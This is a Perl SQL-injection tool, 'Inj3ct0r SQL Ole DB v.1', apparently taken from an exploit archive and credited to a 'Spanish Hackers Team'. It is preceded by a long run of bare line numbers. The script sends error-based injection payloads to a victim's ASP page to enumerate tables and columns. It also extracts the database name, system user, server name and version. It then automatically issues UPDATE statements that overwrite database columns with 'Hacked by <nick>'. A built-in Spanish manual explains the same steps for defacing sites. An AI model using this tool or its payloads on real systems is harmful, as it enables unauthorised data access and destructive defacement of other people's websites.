./c0de/perl/sql-ole.txt

0.
1.
2.
3.
4.
5.
6.
7.
8.
9.
10.
11.
12.
13.
14.
15.
16.
17.
18.
19.
20.
21.
22.
23.
24.
25.
26.
27.
28.
29.
30.
31.
32.
33.
34.
35.
36.
37.
38.
39.
40.
41.
42.
43.
44.
45.
46.
47.
48.
49.
50.
51.
52.
53.
54.
55.
56.
57.
58.
59.
60.
61.
62.
63.
64.
65.
66.
67.
68.
69.
70.
71.
72.
73.
74.
75.
76.
77.
78.
79.
80.
81.
82.
83.
84.
85.
86.
87.
88.
89.
90.
91.
92.
93.
94.
95.
96.
97.
98.
99.
100.
101.
102.
103.
104.
105.
106.
107.
108.
109.
110.
111.
112.
113.
114.
115.
116.
117.
118.
119.
120.
121.
122.
123.
124.
125.
126.
127.
128.
129.
130.
131.
132.
133.
134.
135.
136.
137.
138.
139.
140.
141.
142.
143.
144.
145.
146.
147.
148.
149.
150.
151.
152.
153.
154.
155.
156.
157.
158.
159.
160.
161.
162.
163.
164.
165.
166.
167.
168.
169.
170.
171.
172.
173.
174.
175.
176.
177.
178.
179.
180.
181.
182.
183.
184.
185.
186.
187.
188.
189.
190.
191.
192.
193.
194.
195.
196.
197.
198.
199.
200.
201.
202.
203.
204.
205.
206.
207.
208.
209.
210.
211.
212.
213.
214.
215.
216.
217.
218.
219.
220.
221.
222.
223.
224.
225.
226.
227.
228.
229.
230.
231.
232.
233.
234.
235.
236.
237.
238.
239.
240.
241.
242.
243.
244.
245.
246.
247.
248.
249.
250.
251.
252.
253.
254.
255.
256.
257.
258.
259.
260.
261.
262.
263.
264.
265.
266.
267.
268.
269.
270.
271.
272.
273.
274.
275.
276.
277.
278.
279.
280.
281.
282.
283.
284.
285.
286.
287.
288.
289.
290.
291.
292.
293.
294.
295.
296.
297.
298.
299.
300.
301.
302.
303.
304.
305.
306.
307.
308.
309.
310.
311.
312.
313.
314.
315.
316.
317.
318.
319.
320.
321.
322.
323.
324.
325.
326.
327.
328.
329.
330.
331.
332.
333.
334.
335.
336.
337.
338.
339.
340.
341.
342.
343.
344.
345.
346.
347.
348.
349.
350.
351.
352.
353.
354.
355.
356.
357.
358.
359.
360.
361.
362.
363.
364.
365.
366.
367.
368.
369.
370.
371.
372.
373.
374.
375.
376.
377.
378.
379.
380.
381.
382.
383.
384.
385.
386.
387.
388.
389.
390.
391.
392.
393.
394.
395.
396.
397.
398.
399.
400.
401.
402.
403.
404.
405.
406.
407.
408.
409.
410.
411.
412.
413.
414.
415.
416.
417.
418.
419.
420.
421.
422.
423.
424.
425.
426.
427.
428.
429.
430.
431.
432.
433.
434.
435.
436.
437.
438.
439.
440.
441.
442.
443.
444.
445.
446.
447.
448.
449.
450.
451.
452.
453.
454.
455.
456.
457.
458.
459.
460.
461.
462.
463.
464.
465.
466.
467.
468.
469.
470.
471.
472.
473.
474.
475.
476.
477.
478.
479.
480.
481.
482.
483.
484.
485.
486.
487.
488.
489.
490.
491.
492.
493.
494.
495.
496.
497.
498.
499.
500.
501.
502.
503.
504.
505.
506.
507.
508.
509.
510.
511.
512.
513.
514.
515.
516.
517.
518.
519.
520.
521.
522.
523.
524.
525.
526.
527.
528.
529.
530.
531.
532.
533.
534.
535.
536.
537.
538.
539.
540.
541.
542.
543.
544.
545.
546.
547.
548.
549.
550.
551.
552.
553.
554.
555.
556.
557.
558.
559.
560.
561.
562.
563.
564.
565.
566.
567.
568.
569.
570.
571.
572.
573.
574.
575.
576.
577.
578.
579.
580.
581.
582.
583.
584.
585.
586.
587.
588.
589.
590.
591.
592.
593.
594.
595.
596.
597.
598.
599.
600.
601.
602.
603.
604.
605.
606.
607.
608.
609.
610.
611.
612.
613.
614.
615.
616.
617.
618.
619.
620.
621.
622.
623.
624.
625.
626.
627.
628.
629.
630.
631.
632.
633.
634.
635.
636.
637.
638.
639.
640.
641.
642.
643.
644.
645.
646.
647.
648.
649.
650.
651.
652.
653.
654.
655.
656.
657.
658.
659.
660.
661.
662.
663.
664.
665.
666.
667.
668.
669.
670.
671.
672.
673.
674.
675.
676.
677.
678.
679.
680.
681.
682.
683.
684.
685.
686.
687.
688.
689.
690.
691.
692.
693.
694.
695.
696.
697.
698.
699.
700.
701.
702.
703.
#!/usr/bin/perl
 
# Inj3ct0r SQL Ole DB v.1
# Code by JosS
# Contact: sys-project[at]hotmail.com
# Spanish Hackers Team
# http://www.spanish-hackers.com
 
use IO::Socket::INET;
use LWP::UserAgent;
use HTTP::Request;
use LWP::Simple;
 
sub lw
{
 
my $SO = $^O;
my $linux = "";
if (index(lc($SO),"win")!=-1){
		   $linux="0";
	    }else{
		    $linux="1";
	    }
		if($linux){
system("clear");
}
else{
system("cls");
system ("title Inj3ct0r SQL Ole DB v.1 - By JosS");
system ("color 02");
}
 
}
 
#*************************** Uso ******************************
 
if (!$ARGV[0]) {
 
&lw;
 
print "\t\t########################################################\n\n";
print "\t\t#    Inj3ct0r SQL Ole DB v.1 - Spanish Hackers Team    #\n\n";
print "\t\t#                        by JosS                       #\n\n";
print "\t\t########################################################\n\n";
 
my ($sec,$min,$hour,$mday,$mon,$year,$wday,$yday,$isdst) = localtime(time);
 
$year += 1900;
$mon++;
 
print "\t\t\t\t$mday/$mon/$year $hour:$min:$sec\n\n";
 
print "Usage: $0 [Host] \n";
 
print "\n\n";
 
print "EJ: $0 http://www.server.com/index.asp?id= \n";
exit(1);
}
 
 
 
#*************************** Menu ******************************
 
 
menu:;
 
&lw;
 
 
print "\t\t########################################################\n\n";
print "\t\t#    Inj3ct0r SQL Ole DB v.1 - Spanish Hackers Team    #\n\n";
print "\t\t#                        by JosS                       #\n\n";
print "\t\t########################################################\n\n";
 
my ($sec,$min,$hour,$mday,$mon,$year,$wday,$yday,$isdst) = localtime(time);
 
$year += 1900;
$mon++;
 
print "\t\t\t\t$mday/$mon/$year $hour:$min:$sec\n\n";
 
print "Menu:\n";
print "\n";
 
print "1. Comprobar si la web se encuentra 0n\n";
print "2. Injectar codigo manualmente\n";
print "3. Injectar codigo automaticamente\n";
print "4. Informacion del server\n";
print "5. Manual Sql Injection\n";
print "6. Creditos\n";
print "7. Salir\n\n";
 
print "Opcion:";
$opcion=<STDIN>;
 
if ($opcion!=1 && $opcion!=2 && $opcion!=3 && $opcion!=4 && $opcion!=5 && $opcion!=6 && $opcion!=7) 
{
print "Opci�n Incorrecta\n";
goto menu;
}
if ($opcion==1)
{
&primero
}
if ($opcion==2)
{
&segundo
}
if ($opcion==3)
{
&tercero
}
if ($opcion==4)
{
&cuarto
}
if ($opcion==5)
{
&quinto
}
if ($opcion==6)
{
&sexto
}
if ($opcion==7)
{
&setimo
}
 
 
#*************************** Opcion1 ******************************
 
sub primero
 
{
 
&lw;
 
print "\t\t########################################################\n\n";
print "\t\t#    Inj3ct0r SQL Ole DB v.1 - Spanish Hackers Team    #\n\n";
print "\t\t#                        by JosS                       #\n\n";
print "\t\t########################################################\n\n";
 
my ($sec,$min,$hour,$mday,$mon,$year,$wday,$yday,$isdst) = localtime(time);
 
$year += 1900;
$mon++;
 
print "\t\t\t\t$mday/$mon/$year $hour:$min:$sec\n\n";
 
 
$host=$ARGV[0];
 
($server) = $host =~ m{http://(.*?)/};
 
print "Connect To ...: $server\n\n";
 
$sock = IO::Socket::INET->new(PeerAddr => "$server", PeerPort => 80, Proto => "tcp");
 
if ($sock)
{
print "La web esta On\n\n";
}
 
else
 
{
print "La web esta 0ff\n\n";
}
 
print "Pulse la tecla Enter para volver al menu.";
$volver=<STDIN>;
goto menu;
 
}
 
#*************************** Opcion2 ******************************
 
sub segundo
 
{
 
&lw;
 
print "\t\t########################################################\n\n";
print "\t\t#    Inj3ct0r SQL Ole DB v.1 - Spanish Hackers Team    #\n\n";
print "\t\t#                        by JosS                       #\n\n";
print "\t\t########################################################\n\n";
 
my ($sec,$min,$hour,$mday,$mon,$year,$wday,$yday,$isdst) = localtime(time);
 
$year += 1900;
$mon++;
 
print "\t\t\t\t$mday/$mon/$year $hour:$min:$sec\n\n";
 
 
$host=$ARGV[0];
 
 
print "Escriba exit en comando si quiere terminar\n\n";
 
print "Victima: $host\n\n";
 
print "Comando: ";
 
$comando=<STDIN>;
 
chomp $comando;
 
$comando =~ s/ /+/g;
 
print "\n\n";
 
print "Comando injectado: $comando\n\n";
 
my $final = $host.$comando;
print $final,"\n\n";
my $ua = LWP::UserAgent->new;
my $req = HTTP::Request->new(GET => $final);
$doc = $ua->request($req)->as_string;
 
 
    if ( $doc =~ m/\bColumna?\b(.*?)\<\/font>/mosix ) {
        print "MySql dice:  - $1\n\n";
 
      ($tabla, $columna) = $doc =~ m/\'(\w+)\.(\w+)\'/simo;
 
       print "tabla: $tabla\n";
       print "Columna: $columna\n\n";
 
    }
    else {
        print "El comando no se ejecuto con exito\n\n";
    }
 
 
 
##Do
 
while ($comando ne 'exit') 
{
 
print "Escriba exit en comando si quiere terminar\n\n";
 
print "Victima: $host\n\n";
 
print "Comando: ";
 
$comando=<STDIN>;
 
chomp $comando;
 
$comando =~ s/ /+/g;
 
print "\n\n";
 
print "Comando injectado: $comando\n\n";
 
my $final = $host.$comando;
print $final,"\n";
my $ua = LWP::UserAgent->new;
my $req = HTTP::Request->new(GET => $final);
$doc = $ua->request($req)->as_string;
 
 
    if ( $doc =~ m/\bColumna?\b(.*?)\<\/font>/mosix ) {
        print "MySql dice:  - $1\n\n";
 
      ($tabla, $columna) = $doc =~ m/\'(\w+)\.(\w+)\'/simo;
 
       print "tabla: $tabla\n";
       print "Columna: $columna\n\n";
 
    }
    else {
        print "El comando no se ejecuto con exito\n\n";
    }
 
 
 
}
 
 
##
 
 
 
print "Pulse la tecla Enter para volver al menu.";
$volver=<STDIN>;
goto menu;
 
}
 
#*************************** Opcion3 ******************************
 
sub tercero
 
{
 
&lw;
 
print "\t\t########################################################\n\n";
print "\t\t#    Inj3ct0r SQL Ole DB v.1 - Spanish Hackers Team    #\n\n";
print "\t\t#                        by JosS                       #\n\n";
print "\t\t########################################################\n\n";
 
my ($sec,$min,$hour,$mday,$mon,$year,$wday,$yday,$isdst) = localtime(time);
 
$year += 1900;
$mon++;
 
print "\t\t\t\t$mday/$mon/$year $hour:$min:$sec\n\n";
 
 
my @columna;
 
$host=$ARGV[0];
print "Victima: $host\n\n";
 
print "Introduce tu Nick: ";
$nick=<STDIN>;
chomp $nick;
 
@comando=("1 having 1=1--","' having 1=1--","--' having 1=1--");
$comando =~ s/ /+/g;
 
print "\n\n";
 
for ($i=0;$i<=2;$i++)
 
{
 
my $final = $host.$comando[$i];
my $ua = LWP::UserAgent->new;
my $req = HTTP::Request->new(GET => $final);
$doc = $ua->request($req)->as_string;
 
print "\t\t-----Primera Fase-----\n\n\n\n";
 
print "Comando injectado: $comando[$i]\n\n\n\n";
 
 
## Primera Fase ##
 
 
if ( $doc =~ m/\bColumna?\b(.*?)\<\/font>/mosix ) {
 
 
      ($tabla, $columna) = $doc =~ m/\'(\w+)\.(\w+)\'/simo;
 
           push @columna, $columna;
 
       print "tabla: $tabla\n";
       print "Columna: $columna\n\n";
 
      @comando=("' update $tabla set $columna[0]='<h1>Hacked by $nick'--","1 update $tabla set $columna[0]='<h1>Hacked by $nick'--","--'update $tabla set $columna[0]='<h1>Hacked by $nick'--");
 
      for ($i=0;$i<=2;$i++)
 
    {
 
my $final = $host.$comando[$i];
my $ua = LWP::UserAgent->new;
my $req = HTTP::Request->new(GET => $final);
$doc = $ua->request($req)->as_string;
 
print "Comando injectado: $comando[$i]\n\n";
 
}
 
## Segunda Fase ##
 
print "\t\t-----Segunda Fase-----\n\n\n\n";
 
     @comando=("1 group by $columna[0] having 1=1--","' group by $columna[0] having 1=1--","--' group by $columna[0] having 1=1--");
 
 
      for ($i=0;$i<=2;$i++)
 
    {
 
my $final = $host.$comando[$i];
my $ua = LWP::UserAgent->new;
my $req = HTTP::Request->new(GET => $final);
$doc = $ua->request($req)->as_string;
 
print "Comando injectado: $comando[$i]\n\n";
 
if ( $doc =~ m/\bColumna?\b(.*?)\<\/font>/mosix ) {
 
($tabla, $columna) = $doc =~ m/\'(\w+)\.(\w+)\'/simo;
 
           push @columna, $columna;
 
       print "tabla: $tabla\n";
       print "Columna: $columna\n\n";
 
@comando=("' update $tabla set $columna[1]='<h1>Hacked by $nick'--","1 update $tabla set $columna[1]='<h1>Hacked by $nick'--","--'update $tabla set $columna[1]='<h1>Hacked by $nick'--");
 
 for ($i=0;$i<=2;$i++)
 
    {
 
my $final = $host.$comando[$i];
my $ua = LWP::UserAgent->new;
my $req = HTTP::Request->new(GET => $final);
$doc = $ua->request($req)->as_string;
 
print "Comando injectado: $comando[$i]\n\n";
 
}
 
 
}
 
}
 
## Tercera Fase ##
 
print "\t\t-----Tercera Fase-----\n\n\n\n";
 
@comando=("1 group by $columna[0],$columna[1] having 1=1--","' group by $columna[0],$columna[1] having 1=1--","--' group by $columna[0],$columna[1] having 1=1--");
 
 
for ($i=0;$i<=2;$i++)
 
    {
 
my $final = $host.$comando[$i];
my $ua = LWP::UserAgent->new;
my $req = HTTP::Request->new(GET => $final);
$doc = $ua->request($req)->as_string;
 
print "Comando injectado: $comando[$i]\n\n";
 
if ( $doc =~ m/\bColumna?\b(.*?)\<\/font>/mosix ) {
 
($tabla, $columna) = $doc =~ m/\'(\w+)\.(\w+)\'/simo;
 
           push @columna, $columna;
 
       print "tabla: $tabla\n";
       print "Columna: $columna\n\n";
 
@comando=("' update $tabla set $columna[2]='<h1>Hacked by $nick'--","1 update $tabla set $columna[2]='<h1>Hacked by $nick'--","--'update $tabla set $columna[2]='<h1>Hacked by $nick'--");
 
 
for ($i=0;$i<=2;$i++)
 
    {
 
my $final = $host.$comando[$i];
my $ua = LWP::UserAgent->new;
my $req = HTTP::Request->new(GET => $final);
$doc = $ua->request($req)->as_string;
 
print "Comando injectado: $comando[$i]\n\n";
 
}
 
 
}
 
}
 
 
 } #Cierre del If
    else {
        print "El comando no se ejecuto con exito\n\n";
    }
 
 
} # Cierre del for principal
 
 
 
print "Pulse la tecla Enter para volver al menu.";
$volver=<STDIN>;
goto menu;
 
 
} ##Cierre del sub
 
#*************************** Opcion4 ******************************
 
sub cuarto
 
{
 
&lw;
 
print "\t\t########################################################\n\n";
print "\t\t#    Inj3ct0r SQL Ole DB v.1 - Spanish Hackers Team    #\n\n";
print "\t\t#                        by JosS                       #\n\n";
print "\t\t########################################################\n\n";
 
my ($sec,$min,$hour,$mday,$mon,$year,$wday,$yday,$isdst) = localtime(time);
 
$year += 1900;
$mon++;
 
print "\t\t\t\t$mday/$mon/$year $hour:$min:$sec\n\n";
 
 
$host=$ARGV[0];
print "Victima: $host\n\n";
 
@comando=("1+and+1=convert(int,db_name())","1+and+1=convert(int,system_user)","1+and+1=convert(int,\@\@servername)--",'1+and+1=convert(int,@@version)--');
 
 
for ($i=0;$i<=3;$i++)
 
{
 
my $final = $host.$comando[$i];
my $ua = LWP::UserAgent->new;
my $req = HTTP::Request->new(GET => $final);
$doc = $ua->request($req)->as_string;
 
if ( $doc =~ /Syntax\s(.*)<\/font>/mosix )
{
 
if ($comando[$i] eq "1+and+1=convert(int,db_name())")
{
 
print "db_name:\n";
 
$dbname = $1 if ($doc =~ /.*value\s'(.*)'\sto.*/);
print "$dbname\n\n";
 
}
 
if ($comando[$i] eq "1+and+1=convert(int,system_user)")
 
{
 
print "system_user:\n";
 
$systemuser = $1 if ($doc =~ /.*value\s'(.*)'\sto.*/);
print "$systemuser\n\n";
 
}
 
if ($comando[$i] eq "1+and+1=convert(int,\@\@servername)--")
 
{
 
print "servername:\n";
 
$servername = $1 if ($doc =~ /.*value\s'(.*)'\sto.*/);
print "$servername\n\n";
 
}
 
if ($comando[$i] eq '1+and+1=convert(int,@@version)--')
 
{
 
print "version:\n";
 
$version = $1 if ($doc =~ /.*?value\s'(.*?)'\sto.*/sm);
print "$version\n\n";
 
}
 
} # Cierre del if principal
 
 
} # cierre for
 
 
 
print "Pulse la tecla Enter para volver al menu.";
$volver=<STDIN>;
goto menu;
 
}
 
#*************************** Opcion5 ******************************
 
sub quinto
 
{
 
&lw;
 
print "\t\t########################################################\n\n";
print "\t\t#    Inj3ct0r SQL Ole DB v.1 - Spanish Hackers Team    #\n\n";
print "\t\t#                        by JosS                       #\n\n";
print "\t\t########################################################\n\n";
 
my ($sec,$min,$hour,$mday,$mon,$year,$wday,$yday,$isdst) = localtime(time);
 
$year += 1900;
$mon++;
 
print "\t\t\t\t$mday/$mon/$year $hour:$min:$sec\n\n";
 
print " MANUAL PRACTICO SQL INJECTION
    (Microsoft OLE DB)
 
Para sacar las tablas y columnas, tenemos que ejecutar este comando:
 
' having 1=1--
 
Y como resultado tendremos algo como esto:
 
Microsoft OLE DB Provider for SQL Server error '80040e14' 
Column 'F_CTexto_1.CTe_Titulo' is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause. 
/visualizaciones/ctexto.asp, line 17 
 
Bien, pues la tabla y la columna son estas:
 
Tabla: F_CTexto_1
Columna: CTe_Titulo
 
A partir de la columna podemos sacar el resto de columnas que se encuentran en la tabla. Mediante este comando:
 
' group by columna having 1=1--
' group by CTe_Titulo having 1=1--
 
Y obtenemos:
 
Microsoft OLE DB Provider for SQL Server error '80040e14' 
Column 'F_CTexto_1.IdCTexto' is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause. 
/visualizaciones/ctexto.asp, line 17 
 
Entonces ya tenemos otra columna: IdCTexto. Podemos ir sacando mas de esta forma:
 
' group by Cte_Titulo,IdCTexto having 1=1--
 
Obtenemos:
 
Microsoft OLE DB Provider for SQL Server error '80040e14' 
Column 'F_CTexto_1.CTe_Descripcion' is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause. 
/visualizaciones/ctexto.asp, line 17 
 
Y asi sucesivamente vamos consigiendo las columnas. Una vez que tenemos todas las columnas, les hacemos un update para colocar nuestro propio texto y asi defacearla.
 
' update tabla set columna='HACKED BY JOSS'--
' update F_CTexto_1 set CTe_Descripcion='HACKED BY JOSS'--
 
 
Escrito por JosS
 
 
 
 ";
 
 
 
 
print "Pulse la tecla Enter para volver al menu.";
$volver=<STDIN>;
goto menu;
 
}
 
#*************************** Opcion6 ******************************
 
sub sexto
 
{
 
&lw;
 
print "\t\t########################################################\n\n";
print "\t\t#    Inj3ct0r SQL Ole DB v.1 - Spanish Hackers Team    #\n\n";
print "\t\t#                        by JosS                       #\n\n";
print "\t\t########################################################\n\n";
 
my ($sec,$min,$hour,$mday,$mon,$year,$wday,$yday,$isdst) = localtime(time);
 
$year += 1900;
$mon++;
 
print "\t\t\t\t$mday/$mon/$year $hour:$min:$sec\n\n";
 
print " Programador: Jose Luis Gongora Fernandez (JosS)\n\n";
print " Colaboradores: phnx & explorer & kidd \n\n";
print " Greetz To: All Hackers\n\n";
 
print "Pulse la tecla Enter para volver al menu.";
$volver=<STDIN>;
goto menu;
 
}
 
#*************************** Opcion7 ******************************
 
sub setimo
 
{
 
&lw;
 
exit(1);
 
}
 
# spanish-hackers.com
 

Back